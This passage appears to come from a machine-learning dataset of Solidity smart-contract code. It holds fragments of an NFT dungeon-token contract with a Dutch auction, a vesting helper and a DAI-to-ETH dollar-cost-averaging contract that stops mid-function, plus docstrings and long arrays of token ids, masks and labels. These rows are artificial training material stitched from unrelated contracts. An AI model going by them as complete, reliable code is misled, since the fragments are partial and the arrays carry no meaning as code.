* @param _difficulty The difficulty of the new dungeon.
* @param _capacity The capacity of the new dungeon.
* @param _floorNumber The initial floor number of the new dungeon.
* @param _seedGenes The seed genes of the new dungeon.
* @param _floorGenes The initial genes of the dungeon floor.
* @return The dungeon ID of the new dungeon.
*/
function createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _seedGenes, uint _floorGenes, address _owner) eitherOwner external returns (uint) {
return _createDungeon(_difficulty, _capacity, _floorNumber, 0, _seedGenes, _floorGenes, _owner);
}
/**
* @dev The external function to set dungeon status by its ID,
* refer to DungeonStructs for more information about dungeon status.
* Only contract owners can alter dungeon state.
*/
function setDungeonStatus(uint _id, uint _newStatus) eitherOwner tokenExists(_id) external {
dungeons[_id].status = uint8(_newStatus);
}
/**
* @dev The external function to add additional dungeon rewards by its ID,
* only contract owners can alter dungeon state.
*/
function addDungeonRewards(uint _id, uint _additinalRewards) eitherOwner tokenExists(_id) external {
dungeons[_id].rewards += uint128(_additinalRewards);
}
/**
* @dev The external function to add another dungeon floor by its ID,
* only contract owners can alter dungeon state.
*/
function addDungeonNewFloor(uint _id, uint _newRewards, uint _newFloorGenes) eitherOwner tokenExists(_id) external {
Dungeon storage dungeon = dungeons[_id];
dungeon.floorNumber++;
dungeon.floorCreationTime = uint32(now);
dungeon.rewards = uint128(_newRewards);
dungeon.floorGenes = _newFloorGenes;
}
/* ======== PRIVATE/INTERNAL FUNCTIONS ======== */
function _createDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _rewards, uint _seedGenes, uint _floorGenes, address _owner) private returns (uint) {
// Ensure the total supply is within the fixed limit.
require(totalSupply() < DUNGEON_CREATION_LIMIT);
// ** STORAGE UPDATE **
// Create a new dungeon.
dungeons.push(Dungeon(uint32(now), 0, uint8(_difficulty), uint16(_capacity), uint32(_floorNumber), uint32(now), uint128(_rewards), _seedGenes, _floorGenes));
// Token id is the index in the storage array.
uint newTokenId = dungeons.length - 1;
// Emit the token mint event.
Mint(_owner, newTokenId, _difficulty, _capacity, _seedGenes);
// This will assign ownership, and also emit the Transfer event.
_transfer(0, _owner, newTokenId);
return newTokenId;
}
/* ======== MIGRATION FUNCTIONS ======== */
/**
* @dev Since the DungeonToken contract is re-deployed due to optimization.
* We need to migrate all dungeons from Beta token contract to Version 1.
*/
function migrateDungeon(uint _difficulty, uint _capacity, uint _floorNumber, uint _rewards, uint _seedGenes, uint _floorGenes, address _owner) external {
// Migration will be finished before maintenance period ends, tx.origin is used within a short period only.
require(now < 1520694000 && tx.origin == 0x47169f78750Be1e6ec2DEb2974458ac4F8751714);
_createDungeon(_difficulty, _capacity, _floorNumber, _rewards, _seedGenes, _floorGenes, _owner);
}
}
/**
* @title ERC721DutchAuction
* @dev Dutch auction / Decreasing clock auction for ERC721 tokens.
*/
contract ERC721DutchAuction is Ownable, Pausable {
/* ======== STRUCTS/ENUMS ======== */
// Represents an auction of an ERC721 token.
struct Auction {
// Current owner of the ERC721 token.
address seller;
// Price (in wei) at beginning of auction.
uint128 startingPrice;
// Price (in wei) at end of auction.
uint128 endingPrice;
// Duration (in seconds) of auction.
uint64 duration;
// Time when auction started.
// NOTE: 0 if this auction has been concluded.
uint64 startedAt;
}
/* ======== CONTRACTS ======== */
// Reference to contract tracking ERC721 token ownership.
ERC721 public nonFungibleContract;
/* ======== STATE VARIABLES ======== */
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint public ownerCut;
// Map from token ID to their corresponding auction.
mapping (uint => Auction) tokenIdToAuction;
/* ======== EVENTS ======== */
event AuctionCreated(uint timestamp, address indexed seller, uint indexed tokenId, uint startingPrice, uint endingPrice, uint duration);
event AuctionSuccessful(uint timestamp, address indexed seller, uint indexed tokenId, uint totalPrice, address winner);
event AuctionCancelled(uint timestamp, address indexed seller, uint indexed tokenId);
/**
* @dev Constructor creates a reference to the ERC721 token ownership contract and verifies the owner cut is in the valid range.
* @param _tokenAddress - address of a deployed contract implementing the Nonfungible Interface.
* @param _ownerCut - percent cut the owner takes on each auction, must be between 0-10,000.
*/
function ERC721DutchAuction(address _tokenAddress, uint _ownerCut) public {
require(_ownerCut <= 10000);
nonFungibleContract = ERC721(_tokenAddress);
ownerCut = _ownerCut;
}
/* ======== PUBLIC/EXTERNAL FUNCTIONS ======== */
/**
* @dev Bids on an open auction, completing the auction and transferring
* ownership of the token if enough Ether is supplied.
* @param _tokenId - ID of token to bid on.
*/
function bid(uint _tokenId) whenNotPaused external payable {
// _bid will throw if the bid or funds transfer fails.
_bid(_tokenId, msg.value);
// Transfers the token owned by this contract to another address. It will throw if transfer fails.
nonFungibleContract.transfer(msg.sender, _tokenId);
}
/**
* @dev Cancels an auction that hasn't been won yet. Returns the token to original owner.
* @notice This is a state-modifying function that can be called while the contract is paused.
* @param _tokenId - ID of token on auction
*/
function cancelAuction(uint _tokenId) external {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
/**
* @dev Cancels an auction when the contract is paused.
* Only the owner may do this, and tokens are returned to
* the seller. This should only be used in emergencies.
* @param _tokenId - ID of the token on auction to cancel.
*/
function cancelAuctionWhenPaused(uint _tokenId) whenPaused onlyOwner external {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
/**
* @dev Remove all Ether from the contract, which is the owner's cuts
* as well as any Ether sent directly to the contract address.
*/
function withdrawBalance() onlyOwner external {
msg.sender.transfer(this.balance);
}
/**
* @dev Returns auction info for an token on auction.
* @param _tokenId - ID of token on auction.
*/
function getAuction(uint _tokenId) external view returns (
address seller,
uint startingPrice,
uint endingPrice,
uint duration,
uint startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
/**
* @dev Returns the current price of an auction.
* @param _tokenId - ID of the token price we are checking.
*/
function getCurrentPrice(uint _tokenId) external view returns (uint) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _computeCurrentPrice(auction);
}
/* ======== INTERNAL/PRIVATE FUNCTIONS ======== */
/**
* @dev Creates and begins a new auction. Perform all the checkings necessary.
* @param _tokenId - ID of token to auction, sender must be owner.
* @param _startingPrice - Price of item (in wei) at beginning of auction.
* @param _endingPrice - Price of item (in wei) at end of auction.
* @param _duration - Length of time to move between starting
* price and ending price (in seconds).
* @param _seller - Seller, if not the message sender
*/
function _createAuction(
uint _tokenId,
uint _startingPrice,
uint _endingPrice,
uint _duration,
address _seller
) internal {
// Sanity check that no inputs overflow how many bits we've allocated to store them in the auction struct.
require(_startingPrice == uint(uint128(_startingPrice)));
require(_endingPrice == uint(uint128(_endingPrice)));
require(_duration == uint(uint64(_duration)));
// If the token is already on any auction, this will throw
// because it will be owned by the auction contract.
require(nonFungibleContract.ownerOf(_tokenId) == msg.sender);
// Throw if the _endingPrice is larger than _startingPrice.
require(_startingPrice >= _endingPrice);
// Require that all auctions have a duration of at least one minute.
require(_duration >= 1 minutes);
// Transfer the token from its owner to this contract. It will throw if transfer fails.
nonFungibleContract.transferFrom(msg.sender, this, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
/**
* @dev Adds an auction to the list of open auctions. Also fires the
* AuctionCreated event.
* @param _tokenId The ID of the token to be put on auction.
* @param _auction Auction to add.
*/
function _addAuction(uint _tokenId, Auction _auction) internal {
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
now,
_auction.seller,
_tokenId,
_auction.startingPrice,
_auction.endingPrice,
_auction.duration
);
}
/**
* @dev Computes the price and transfers winnings.
* Does NOT transfer ownership of token.
*/
function _bid(uint _tokenId, uint _bidAmount) internal returns (uint) {
// Get a reference to the auction struct
Auction storage auction = tokenIdToAuction[_tokenId];
// Explicitly check that this auction is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an auction object that is all zeros.)
require(_isOnAuction(auction));
// Check that the bid is greater than or equal to the current price
uint price = _computeCurrentPrice(auction);
require(_bidAmount >= price);
// Grab a reference to the seller before the auction struct
// gets deleted.
address seller = auction.seller;
// The bid is good! Remove the auction before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeAuction(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the auctioneer's cut.
uint auctioneerCut = price * ownerCut / 10000;
uint sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow.
uint bidExcess = _bidAmount - price;
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the auction is
// removed before any transfers occur.
msg.sender.transfer(bidExcess);
// Tell the world!
AuctionSuccessful(now, seller, _tokenId, price, msg.sender);
return price;
}
/**
* @dev Cancels an auction unconditionally.
*/
function _cancelAuction(uint _tokenId, address _seller) internal {
_removeAuction(_tokenId);
// Transfers the token owned by this contract to its original owner. It will throw if transfer fails.
nonFungibleContract.transfer(_seller, _tokenId);
AuctionCancelled(now, _seller, _tokenId);
}
/**
* @dev Removes an auction from the list of open auctions.
* @param _tokenId - ID of token on auction.
*/
function _removeAuction(uint _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
/**
* @dev Returns current price of an token on auction. Broken into two
* functions (this one, that computes the duration from the auction
* structure, and the other that does the price computation) so we
* can easily test that the price computation works correctly.
*/
function _computeCurrentPrice(Auction storage _auction) internal view returns (uint) {
uint secondsPassed = 0;
// A bit of insurance against negative values (or wraparound).
// Probably not necessary (since Ethereum guarnatees that the
// now variable doesn't ever go backwards).
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
if (secondsPassed >= _auction.duration) {
// We've reached the end of the dynamic pricing portion
// of the auction, just return the end price.
return _auction.endingPrice;
} else {
// Starting price can be higher than ending price (and often is!), so
// this delta can be negative.
int totalPriceChange = int(_auction.endingPrice) - int(_auction.startingPrice);
// This multiplication can't overflow, _secondsPassed will easily fit within
// 64-bits, and totalPriceChange will easily fit within 128-bits, their product
// will always fit within 256-bits.
int currentPriceChange = totalPriceChange * int(secondsPassed) / int(_auction.duration);
// currentPriceChange can be negative, but if so, will have a magnitude
// less that startingPrice. Thus, this result will always end up positive.
int currentPrice = int(_auction.startingPrice) + currentPriceChange;
return uint(currentPrice);
}
}
/* ======== MODIFIERS ======== */
/**
* @dev Returns true if the token is on auction.
* @param _auction - Auction to check.
*/
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
}
contract DungeonTokenAuction is DungeonToken, ERC721DutchAuction {
function DungeonTokenAuction(uint _ownerCut) ERC721DutchAuction(this, _ownerCut) public { }
/**
* @dev Creates and begins a new auction.
* @param _tokenId - ID of token to auction, sender must be owner.
* @param _startingPrice - Price of item (in wei) at beginning of auction.
* @param _endingPrice - Price of item (in wei) at end of auction.
* @param _duration - Length of time to move between starting price and ending price (in seconds).
*/
function createAuction(
uint _tokenId,
uint _startingPrice,
uint _endingPrice,
uint _duration
) whenNotPaused external {
_approve(_tokenId, this);
// This will perform all the checkings necessary.
_createAuction(_tokenId, _startingPrice, _endingPrice, _duration, msg.sender);
}
}
| ======== STATE VARIABLES ======== */* @dev A mapping from token IDs to the address that owns them./* @dev A mapping from token ids to an address that has been approved to call transferFrom(). Each token can only have one approved address for transfer at any time. A zero value means no approval is outstanding./* @dev A mapping from token ID to index of the ownerTokens' tokens list./ ======== PUBLIC/EXTERNAL FUNCTIONS ======== */* @dev Returns the number of tokens owned by a specific address. @param _owner The owner address to check./ | function balanceOf(address _owner) public view returns (uint) {
return ownerTokens[_owner].length;
}
| 1,793,770 | [
1,
1432,
7442,
22965,
55,
422,
894,
631,
342,
225,
432,
2874,
628,
1147,
7115,
358,
326,
1758,
716,
29065,
2182,
18,
19,
225,
432,
2874,
628,
1147,
3258,
358,
392,
1758,
716,
711,
2118,
20412,
358,
745,
225,
7412,
1265,
7675,
8315,
1147,
848,
1338,
1240,
1245,
20412,
1758,
364,
7412,
225,
622,
1281,
813,
18,
432,
3634,
460,
4696,
1158,
23556,
353,
20974,
18,
19,
225,
432,
2874,
628,
1147,
1599,
358,
770,
434,
326,
3410,
5157,
11,
2430,
666,
18,
19,
422,
894,
631,
17187,
19,
2294,
11702,
13690,
55,
422,
894,
631,
342,
225,
2860,
326,
1300,
434,
2430,
16199,
635,
279,
2923,
1758,
18,
225,
389,
8443,
1021,
3410,
1758,
358,
866,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11013,
951,
12,
2867,
389,
8443,
13,
1071,
1476,
1135,
261,
11890,
13,
288,
203,
3639,
327,
3410,
5157,
63,
67,
8443,
8009,
2469,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x08772c1872c997Fec8dA3c7f36C1FC28EBE72E97/sources/contracts/vesting/BaseVesting.sol | * @notice allows owner to set the vesting amount for a member (internal function) @dev Only accessible via the internal _setVests function. This is a virtual function, it can be overriden by the inheriting vesting contracts. Requirements: - amount must be less than uint192 max (the maximum value that can be stored for amount) @param user the user to set vesting for @param amount the SPOOL token vesting amount to be set for this user/ | function _setVest(address user, uint192 amount)
internal
virtual
returns (int192 diff)
{
diff = int192(amount) - int192(userVest[user].amount);
userVest[user].amount = amount;
}
| 9,776,895 | [
1,
5965,
87,
3410,
358,
444,
326,
331,
10100,
3844,
364,
279,
3140,
261,
7236,
445,
13,
225,
5098,
12718,
3970,
326,
2713,
389,
542,
58,
25563,
445,
18,
1220,
353,
279,
5024,
445,
16,
518,
848,
506,
31736,
635,
326,
6811,
310,
331,
10100,
20092,
18,
29076,
30,
300,
3844,
1297,
506,
5242,
2353,
2254,
15561,
943,
261,
5787,
4207,
460,
716,
848,
506,
4041,
364,
3844,
13,
225,
729,
326,
729,
358,
444,
331,
10100,
364,
225,
3844,
326,
348,
20339,
1147,
331,
10100,
3844,
358,
506,
444,
364,
333,
729,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
542,
58,
395,
12,
2867,
729,
16,
2254,
15561,
3844,
13,
203,
3639,
2713,
203,
3639,
5024,
203,
3639,
1135,
261,
474,
15561,
3122,
13,
203,
565,
288,
203,
3639,
3122,
273,
509,
15561,
12,
8949,
13,
300,
509,
15561,
12,
1355,
58,
395,
63,
1355,
8009,
8949,
1769,
203,
3639,
729,
58,
395,
63,
1355,
8009,
8949,
273,
3844,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity >0.5.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract IUniswapExchange {
// Address of ERC20 token sold on this exchange
function tokenAddress() external view returns (address token);
// Address of Uniswap Factory
function factoryAddress() external view returns (address factory);
// Provide Liquidity
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
// Get Prices
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
// Trade ETH to ERC20
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
// Trade ERC20 to ETH
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_tokens, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
// Trade ERC20 to ERC20
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
// Trade ERC20 to Custom Pool
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
// ERC20 comaptibility for liquidity tokens
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() public view returns (uint256);
// Never use
function setup(address token_addr) external;
}
contract DCAcontract {
IERC20 dai;
address payable public creator;
uint public fee_numerator;
uint public fee_denominator;
uint public gas_consumption;
uint public streamsCount = 0;
mapping(uint => address) public all_users;
mapping(address => Stream) public streams;
struct Stream {
uint _id;
uint parcel; // parcel in DAI
uint interval; // interval in seconds
uint startTime;
uint lastSwap;
uint isactive;
uint created;
uint dai_swapped;
uint eth_received;
}
uint public relayersCount = 0;
mapping(uint => address) public relayers;
mapping(address => uint) public relayers_existance;
// at creation, define who is the contract creator
// the creator does not have specific powers, but will receive 50% of the fees collected by the relayers
// this will allow the creator to sustain development and marketing of the frontend app to the users
constructor(address payable _creator) public {
dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
creator = _creator;
fee_numerator = 2;
fee_denominator = 1000;
gas_consumption = 200000;
SafeERC20.safeApprove(dai, 0x2a1530C4C41db0B0b2bB646CB5Eb1A67b7158667, uint(-1));
}
// allow the user to activate the dca stream
// by default, a stream is set to active (isactive =1) when it is originally created
function activate(uint _parcel, uint _interval) external {
Stream storage s = streams[msg.sender];
if (s.created == 1) {
s.parcel = _parcel;
s.interval = _interval;
} else {
// then create the stream
streams[msg.sender] = Stream(streamsCount, _parcel, _interval, block.timestamp, 0, 1, 1, 0, 0);
all_users[streamsCount] = msg.sender;
streamsCount ++;
}
}
// allow the user to stop the dca stream
function stop() external {
Stream storage s = streams[msg.sender];
require(s.created == 1);
s.isactive = 0;
}
// allow the user to re-start the dca stream
function start() external {
Stream storage s = streams[msg.sender];
require(s.created == 1);
s.isactive = 1;
}
// allow the user to edit the individual parcel amount that is regularly purchased
function editParcel(uint _parcel) external {
Stream storage s = streams[msg.sender];
require(s.created == 1);
s.parcel = _parcel;
}
// allow the user to edit the interval between purchases
function editInterval(uint _interval) external {
Stream storage s = streams[msg.sender];
require(s.created == 1);
s.interval = _interval;
}
// allow an address to register as a relayer
function registerAsRelayer() external{
// this function adds the msg.sender to the list of relayers
// this is a FIFO list which will assign to each relayer a "time window" of 240 seconds to execute the DCA transaction.
// the reason for this architecture is to allow everyone to be a relayer, but at the same time discourage gas bidding competition
// which would ultimately damage the end user (who is paying for the gas)
// first require that this relayers is not already in the list
require(relayers_existance[msg.sender] != 1);
relayers[relayersCount] = msg.sender;
relayersCount ++;
relayers_existance[msg.sender] = 1;
}
// allow a relayer to execute the transaction for a user and convert his DAI parcel into ETH
function convertParcel(address payable _user) external{
Stream storage s = streams[_user];
uint256 gasPrice = tx.gasprice;
uint256 eth_bought = IUniswapExchange(0x2a1530C4C41db0B0b2bB646CB5Eb1A67b7158667).getTokenToEthInputPrice(s.parcel);
// the contract execution requires several conditions:
// a) that a stream was created for the user in the past (s.created == 1)
// b) that the stream is active (s.isactive == 1)
// c) that enough time has passed since the last swap (ready_since>=0)
// d) that the estimated gas cost is below 3% of the returned amount from Uniswap; otherwise don't let transaction take place
// e) that the current time window is open for this relayer
//
// starting from the top relayer in the list, each relayer will have a "time windows" of 240 seconds assigned to make the transaction
// if that relayer does not respond, the time window will open for the second in the list, and so on
// the first relayer that sends the transaction will move up in the list by one position.
// this will allow anyone to be a relayer, while discouraging bidding with a high gas price which would ultimately damage the end user
address relayer_allowed = 0x0000000000000000000000000000000000000000;
uint relayer_allowed_index = 0;
uint multiple = 0;
if (s.lastSwap == 0){
multiple = (now - s.startTime) / (240 * relayersCount);
relayer_allowed_index = ((now - s.startTime) - multiple * (240 * relayersCount)) / 240;
relayer_allowed = relayers[relayer_allowed_index];
} else {
multiple = (now - s.lastSwap - s.interval) / (240 * relayersCount);
relayer_allowed_index = ((now - s.lastSwap - s.interval) - multiple * (240 * relayersCount)) / 240;
relayer_allowed = relayers[relayer_allowed_index];
}
require(s.created == 1 &&
s.isactive == 1 &&
now > s.lastSwap + s.interval &&
gasPrice * gas_consumption < eth_bought * 3 / 100 &&
relayer_allowed == msg.sender);
// if all the conditions are satisfied, proceed with the swap
// first move the parcel of DAI from the owner wallet to this contract, then return the ETH obtained to the contract
dai.transferFrom(_user, address(this), s.parcel);
uint256 ether_returned = IUniswapExchange(0x2a1530C4C41db0B0b2bB646CB5Eb1A67b7158667).tokenToEthSwapInput(s.parcel, 1, now+120);
// now distribute the ether_returned between the owner, the relayer and the creator
// in particular:
// a) the owner gets the ETH received from uniswap, net of the gas cost and the fee
// b) the relayer gets 50% of the fee, plus a reimbursement for the gas cost
// c) the creator gets 50% of the fee
_user.transfer(ether_returned * (fee_denominator - fee_numerator)/fee_denominator - gas_consumption * gasPrice); // to the user
msg.sender.transfer(gas_consumption * gasPrice + (ether_returned * fee_numerator / 2) / fee_denominator); // to the relayer
creator.transfer((ether_returned * fee_numerator / 2) / fee_denominator); // to the creator
// record in the contract the amount of DAI swapped and ETH received
// also, update the timestamp of the last swap
s.dai_swapped = s.dai_swapped + s.parcel;
s.eth_received = s.eth_received + ether_returned - gas_consumption * gasPrice - (ether_returned * fee_numerator) / fee_denominator;
s.lastSwap = block.timestamp;
// finally, readjust the FIFO list of relayers and reward the relayer that made the transaction by moving up one notch
if (relayer_allowed_index != 0){
address relayer_before = relayers[relayer_allowed_index - 1];
relayers[relayer_allowed_index - 1] = msg.sender;
relayers[relayer_allowed_index] = relayer_before;
}
}
// check that is the right time to trigger a swap for a certain user
// NOTE: this function needs to return 0 for the transaction to be possible
function check_time(address payable _user) public view returns(uint){
Stream storage s = streams[_user];
if (s.created == 0) {
// if the user was never created
return uint(-1);
} else if (now < s.lastSwap + s.interval){
// if the user was created, but it's not yet time to make a swap, return the remaining time in seconds
return s.lastSwap + s.interval - now;
} else {
// if the timing is good to make the swap, return 0
return 0;
}
}
// check that the address has a sufficient DAI balance and allowance to make the swap & the stream is active
// NOTE: this function needs to return 1 for the transaction to be possible
function check_balance(address payable _user) public view returns(uint){
Stream storage s = streams[_user];
if (s.created == 0) {
